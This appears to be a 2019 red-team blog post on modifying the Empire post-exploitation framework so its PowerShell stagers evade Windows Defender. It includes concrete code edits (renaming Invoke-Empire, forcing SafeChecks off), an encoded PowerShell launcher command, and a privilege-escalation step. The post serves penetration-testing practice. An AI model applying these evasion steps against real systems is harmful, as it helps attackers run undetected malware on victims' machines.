Antivirus evasion as a topic has always fascinated me. When I began my graduate computer science studies many years back, I originally proposed a topic to my advisors about improving antivirus engines to detect polymorphic viruses by mapping execution flows in binaries. As graduate studies go, this topic was ultimately shot down and I eventually settled on another research topic.
Bypassing antivirus is a necessary evil if you work in penetration testing or red teaming. It's also one of the more frustrating areas -- Frustrating, because "signature-based" antivirus software is both pretty ineffective at blocking threats, but at the same time is sometimes a pain to evade.
The popular wisdom to evade antivirus is "write your own custom tools." That's great advice if all you need to do is write a simple reverse shell, or if you have a large budget and lots of time to develop a well polished C2 infrastructure from scratch. The rest of us rely on the huge wealth of open source (and commercial) tools developed by folks in the security community. Yes, I want to be able to run something like mimikatz on an engagement and not jump through massive hoops to do so.
In comes Empire. If you aren't familiar with the tool, Empire is a post-exploitation C2 server that includes a wide variety of offensive tools. It's a powerful tool to use as part of an offensive operation, if it doesn't get flagged by antivirus in the process and become an unusable frustration. For a while, Empire was pretty good at evading things like Windows Defender. This is no longer true. If you create a generic http listener agent payload and execute in-memory, without even touching the disk, you will likely see something like the following.
Windows Defender busted us! I guess it's time to pack it in for the assessment, right? No way!
By tearing into Empire a bit (yea for free open source software!), we can easily modify some key areas and bypass that pesky client-side antivirus.
Before we start with any testing, we need to turn off "Cloud-delivered Protection" and especially "Automatic sample submission" in Windows Defender. We don't want any of our tests creeping out onto the internet and into Windows Defender's distributed signatures. Of course, keep "Real-time protection" on so we can test execution as it happens.
Whatever you do, DO NOT UPLOAD TO VIRUS TOTAL! This will completely thwart everything you are trying to accomplish and will not even be effective in this case. As you will learn below, Windows Defender can detect Empire even if the initial payload passes antivirus inspection. By uploading to Virus Total you will not be able to understand if the tool would run undetected on the target and you will definitely burn the modifications you have been working on so hard.
Now that our test lab is ready, it's time to get to work on Empire.
My first several (unsuccessful) attempts to bypass Windows Defender amounted to lazily setting misc options within the Empire launcher payload. Does it work!? No. Does it work now!? No. And so on.
Empire http listener default options
Empire multi/launcher default options
Next I thought it was time to get sneaky. I would run the payload through the gauntlet of powershell obfuscation tools out there. Run it through Unicorn... Does it work?! No. Run it through Veil Framework... Does it work?! No. Run it through Empire's own native Invoke-Obfuscation... Does it work?! No.
I should note that by using the obfuscation tools, I was able to get a payload that could be written to disk, essentially bypassing the antivirus signature, but upon execution it was either detected or simply failed.
As usual, bashing at things with hammers rarely gets successful results. Time to look under the hood and learn what Empire is doing.
The initial payload Empire generates is a so-called "stager", specifically a stage0 payload. A stager is a bit of code that is designed to remotely download and execute either another stager or an actual payload. In our example we will be working with the multi/launcher powershell stager for an http listener.
Testing the stage0 payload is actually quite simple. Generate the payload, write it to a file, and transfer it to the Windows machine. If it triggers an antivirus warning when it hits the disk, it needs more work. If it transfers and then executes fine, you likely have a usable stager.
One big note. When testing payloads over and over -- and triggering Windows Defender over and over -- Windows Defender can (for lack of a better term) "freak out". During my testing I ran into an issue where Windows Defender flagged ALL powershell files as viruses upon execution, even empty files! If this happens, give your VM or machine a reboot. My theory is that Windows Defender likely learned that the host I was transferring files from was malicious and banned powershell execution no matter the file. Rebooting flushes this. (Aren't we smart for having turned off the automatic malware submission and cloud-delivered protection!?)
To generate a multi/launcher stager that bypasses Windows Defender, all that's required is to play with the options presented within Empire. (Shocking, I know!) I won't show you the exact options I'm using, because someone will immediately use them and ignore my warning about uploading to Virus Total. I will, however, show you the options I recommend modifying.
Option | Description | Default |
---|---|---|
DefaultProfile | Three URL's that Empire will call during various times as well as a User-Agent string. | /admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko |
ServerVersion | The web server version identifier | Microsoft-IIS/7.5 |
Host | Your host (or IP) and port number. | |
Port | Should be the same as the specified Host port | |
UserAgent | The User-Agent that Empire sends to mimic real web browser traffic. | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 |
StagerURI | The URI the stager is served from. This must include /download to work without additional modification. | |
CertPath | The default self-signed certs when setting up Empire are located at ./Empire/data. Depending on how sophisticated the environment, self-signed certs may not work. Windows Defender doesn't mind self-signed certs. | |
DefaultJitter | A random delay when sending beacon calls to the Empire server. | 0.0 |
Launcher | The command used to execute the stager. | powershell -noP -sta -w 1 -enc |
Option | Description | Default |
---|---|---|
Listener | This must be set and will likely be 'http' if you are following along. | |
UserAgent | User-agent string to use for staging. | |
SafeChecks | Attempts to detect if the launcher is running in a sandbox. | True |
Obfuscate | Obfuscate the auto-generated launcher code. | False |
ObfuscateCommand | Obfuscation command to use. | Token\All\1,Launcher\STDIN++\12467 |
I will give you one tip. Set SafeChecks to false. SafeChecks attempts to determine if the stager is running inside an antivirus sandbox. Eliminating SafeChecks cuts down a lot of the generated code, which is clearly not working as intended since we were getting detected by antivirus.
With our fancy stager payload we will for sure be able to run Empire, right?! Wrong. The payload will execute, and you will see an initial connection. Sending stage 1! Great! Then nothing. Something is wrong.
While experimenting I decided to turn off antivirus protection, start Empire on the Windows host, and turn antivirus back on. To my excitement, my Empire beacon did not die! As long as we can get Empire to start we'll be OK. But, why isn't it starting?
Digging deeper into the Empire codebase yields the stage1 code. This code sets up the cryptographically secure environment Empire enjoys to avoid detection, but itself is not encoded in any way. Time for modification. After some trial and error, editing portions of the file I determined that the Invoke-Empire function name was to blame. As is suggested in this Black Hills Information Security article, changing the name of the function to Invoke-RandomStringHere is all we need to thwart detection. Even though all we need to do is edit the Invoke-Empire function name, bonus points for modifying the stage1 code further.
Edit: ./Empire/data/agent/stagers/http.ps1:
Invoke-Empire -Servers @(($s -split "/")[0..2] -join "/") -StagingKey $SK -SessionKey $key -SessionID $ID -WorkingHours "WORKING_HOURS_REPLACE" -KillDate "REPLACE_KILLDATE" -ProxySettings $Script:Proxy;
Edit: ./Empire/data/agent/agent.ps1
function Invoke-Empire {
Let's try running our Empire stager again.
Excellent! Pop champagne glasses! We've slain Windows Defender! (Keep reading... We didn't.)
Since were running the tests on a fully patched Win10 host, there aren't many methods of privilege escalation. So, let's try the trusty powershell/privesc/ask module, that literally pops up a dialog box ask asks the user if they want to run powershell as Administrator. The exploit fires, a good sign. The dialog pops up! I click yes!! ...and nothing.
This I admit had me a bit puzzled. If my stagers worked for the initial exploitation, why not again for privilege escalation? After some debugging I was able to capture the stager that was being sent with the privesc/ask module. While it contained some of the modifications I set in the multi/launcher configuration, there was one glaring difference. It also contained the SafeChecks code that we previously set to False!
I'm not sure if the SafeChecks inclusion here is due to a bug in Empire or not. But, the SafeChecks code is currently problematic, which appears to be confirmed by this Empire bug. Simply setting the option to always be False solves our issue.
Edit: ./Empire/lib/listeners/http.py:
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ # Add this line to override SafeChecks safeChecks='False'
Run `python -m compileall` and restart Empire. Then fire up powershell/privesc/ask.
Finally. We are in business. At least for today...
Hey! While I have your attention:
Need a hand securing your company? Let us help!
Posted: Feb 26, 2019
Keyword tags: securityinfosecempireantivirusevasionhacking
S3 Buckets: Now With Both Leak & Fill Vulnerability
Stealing Data With CSS: Attack and Defense
Move Over S3: Open Directory Indexes Continue to be a Problem
Security Researchers Lose a Favorite DNS Recon Tool Jan 2018
KRACK: How To Protect Yourself on a Flawed Network
Equifax, SEC, & Now Deloitte: Organizations Must Employ Offensive Security